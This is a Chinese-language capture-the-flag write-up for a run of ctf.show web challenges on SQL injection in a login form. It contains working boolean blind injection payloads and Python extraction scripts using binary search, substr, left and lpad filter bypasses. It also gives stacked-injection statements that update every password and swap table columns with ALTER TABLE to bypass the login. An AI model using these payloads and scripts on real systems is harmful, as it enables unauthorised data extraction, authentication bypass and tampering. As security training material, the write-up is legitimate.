目录
为什么要有admin呢 这也是试出来的 这个admin必须是数据库中存在的 这样才能使用布尔注入 因为这个时候登录 有两种返回结果 一种密码错误 一种就是用户名错误
admin' and '1'='1 密码错误
admin' and '1'='2 用户名不存在
判断出存在注入点
admin' and '1'='1 密码错误 返回值8bef
admin' and '1'='2 用户名不存在 返回值 5728
以上可以证明出可以使用布尔注入 当and后为1为一个页面?当and后为0为一个页面
username=admin'and (ascii(substr((select f1ag from ctfshow_fl0g),1,1))<100)#&password=0
返回值8bef 也就是and后语句返回1
username=admin'and (ascii(substr((select f1ag from ctfshow_fl0g),1,1))<99)#&password=0
返回值 5728?也就是and后语句返回0
以上就能确定可以进行布尔注入了
python脚本 使用二分法(这个脚本很强 二分法速度特别快,该脚本可以为二分法的模板,在大师傅给出的脚本中我修改了部分内容 使得可以按照输出 更容易理解代码)
import requests url = "http://320af8bf-8a87-4f48-a37b-8838174bdcd1.challenge.ctf.show/api/" flag = "" for i in range(1,60): max = 127 #ascii最大值 min = 32 #ascii最小值 while 1:#无限循环 mid = (max+min)>>1 #相当于除2向下取整 print("第{}波 max={}min={} mid={} ".format(i,max,min,mid)) if(min == mid):#相等也就代表min+1=max max=100min=99 mid=99 这个时候max=100返回值为1 min=99返回值为0 这就能证明ascii为99 该值为c flag += chr(mid) print(flag) break # payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid) # 当前数据库 ctfshow_web # payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid) # 当前数据表 ctfshow_fl0g和ctfshow_user # payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid) # 当前字段名 id,f1ag # payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid) # 获取flag payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid) data = { "username":payload, "password":0, } res = requests.post(url = url,data =data) if res.text.find("8bef")>0:#返回值为1 <100 将该值设置为max max = mid else: #返回值为0 <99 将该值设置为min min = mid if mid == 32:# 如果mid的值等于空格 结束最外层循环 print("flag={}".format(flag)) break
得出flag
用户名不能有file into和ascii 不能写文件和使用ascii值的方式进行判断
我的第一想法是换成hex 然后再通过hex解密得到原有字符串 但是发现hex中如果是z结果就是7a出现了两个字符无法判断 那就是使用替换 经过查找资料发现ORD和ASCII效果一样
将ascii修改为ord即可
ord也被禁用了 hex也被禁用了
那就不用函数 直接判断字符是哪一个
username=admin'and (substr((select database()),1,1)='c')#&password=0
python脚本?
自己写的
import requests url = "http://54b31325-2269-4d5c-a739-68fe13091b24.challenge.ctf.show/api/" flag = "" flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789 " for i in range(1,60): for x in flagdic: payload = "admin'and (substr((select f1ag from ctfshow_fl0g),{},1)='{}')#".format(i,x) data = { "username":payload, "password":0, } res = requests.post(url = url,data =data) if res.text.find("8bef")>0: if x == " ":# 其实这个if有没有都一个意思 我只是不想多输出一次flag break flag+=x print(flag) break if x == " ": # 如果遍历到字典的最后的空格 就退出循环代表结束 break
成功获取flag
substr都过滤了
那就换一个函数使用left 也能做到substr的效果
python脚本 这里的数据表变成了ctfshow_flxg
import requests url = "http://395fe6cb-9803-4905-a7a6-b4bdd6622d45.challenge.ctf.show/api/" flag = "" flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, " a=0 for i in range(1,60): for x in flagdic: # payload = "admin'and (left((select database()),{})='{}')#".format(i,flag+x) # 当前数据库 ctfshow_web # payload = "admin'and (left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{}))='{}'#".format(i,flag+x) # 当前数据表 ctfshow_flxg 之前表名为fl0g 现在为flxg # payload = "admin'and (left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{}))='{}'#".format(i,flag+x) # 当前字段名 id,flag payload = "admin'and (left((select f1ag from ctfshow_flxg),{}))='{}'#".format(i,flag+x) # 获取flag data = { "username":payload, "password":0, } res = requests.post(url = url,data =data) if x == " ": a = 1 break if res.text.find("8bef")>0: flag+=x print(flag) break if a: print("answer={}".format(flag)) break
flg
注意一点 占位符{}要加上单引号
left也被禁用了
早就在mysql文档中找函数 搜索关键字的方式
使用lpad替换left函数 本地先测试一下
确定一下固定语句
直接修改web193脚本
注意
在本地的时候
select lpad('abc',1,"") 用的是双引号 脚本中要用单引号 因为 整个语句字符串用的是双引号 范冲突
import requests url = "http://ad864e5b-c99c-4b15-b2d7-7e95b7858527.challenge.ctf.show/api/" flag = "" flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, " a=0 for i in range(1,60): for x in flagdic: payload = "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')='{}'))#".format(i,flag+x) # 获取flag data = { "username":payload, "password":0, } res = requests.post(url = url,data =data) if x == " ": a = 1 break if res.text.find("8bef")>0: flag+=x print(flag) break if a: print("answer={}".format(flag)) break
输出flag
过滤了很多 本地测试了一些 select和|都被禁用了?
跟着大师傅思路走 直接使用update更新pass 这样所有的pass都被修改为已知的?
(前提依旧是已知一个用户admin)
pass已知后 就能通过这个语句
使用叠加注入 更新所有密码
通过回显去浏览器查找 显示用户名不存在 估计是执行成功了
账号admin和密码1怎么还是不行
原因:在sql语句中 $username 没有使用引号 数据库中的admin是字符串 条件中admin必须用单引号引起来 但是引号被过滤了 那就使用弱类型的方式吧 所有字符转换成整数都是0
用户为0 密码为1 得到flag
用户名不能超过16个字符?
这道题目的select虽然写的是被过滤了,但是实际并没有被过滤。
(根据群里的反馈,说群主本来是打算把过滤select写成se1ect,但是忘记改了。不过select也并没有被过滤)可以用select绕过password的if判断。
判断条件满足的设定是$row[0]==$password,$row存储的是结果集中的一行数据,$row[0]就是这一行的第一个数据。
既然可以堆叠注入,就是可以多语句查询,$row应该也会逐一循环获取每个结果集。那么可以输入username为1;select(9),password为9。当$row获取到第二个查询语句select(9)的结果集时,即可获得$row[0]=9,那么password输入9就可以满足条件判断。
?
这次select彻底被过滤了 并且update也被过滤了
方法1
利用
show
。根据题目给的查询语句,可以知道数据库的表名为ctfshow_user,那么可以通过show tables
,获取表名的结果集,在这个结果集里定然有一行的数据为ctfshow_user。用户名:
1;show tables
密码:ctfshow_user?
有个缺点如果ctfshow_user表不在row【0】的位置那就会失败
注意为什么admin;show tables会查询失败 换成数字就好 因为admin必须使用单引号才可以 但是单引号被过滤了
方法2
更新不可以的话 那就删表 建表
创建删除用不了了?
方法一 非预期的方式 默认密码usernameAUTO 密码passwordAUTO(非预期没什么用)
因为是字符 必须使用单引号但是单引号被过滤了 所以这个非预期的方式不能用
方法二?本题依然可以使用上个题目的方法一
show tables
。方法三 修改表的结构在已知有一个默认用户名为userAUTO的情况下,这里可以考虑列名互换。 已知两个列名 username和pass 将两个列名互换?
0;alter table ctfshow_user change `username` `passw` varchar(100);alter table ctfshow_user change `pass` `username` varchar(100);alter table ctfshow_user change `passw` `pass` varchar(100);
注意为什么用户名0可以 1不可以 我估计是密码是个字符串 本地测试一下
方法一:本题依然可以使用
show tables
。方法二:本题过滤了括号,限制了之前payload中的varchar(100),可以改为text。
varchar(100)
限制了存储的字符数量最多为100个字符,适合存储较短的密码或字符串。
text
类型则允许存储更长的文本数据,但可能会占用更多的存储空间,并且在处理和索引方面可能不如varchar
类型高效,特别是对于非常大的文本值。然而,如果你确定密码不会超过几百万个字符(这在实际情况中是非常罕见的),那么使用text
类型也是可以的。在大多数情况下,为了节省空间和提高效率,使用varchar
类型更适合存储密码。0;alter table ctfshow_user change `username` `passw` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `passw` `pass` text;
多过滤了逗号 对我们无影响
web199的两种方法 还有一种方法前几关也能用 已知默认密码为passAUTO 用户名的位置是0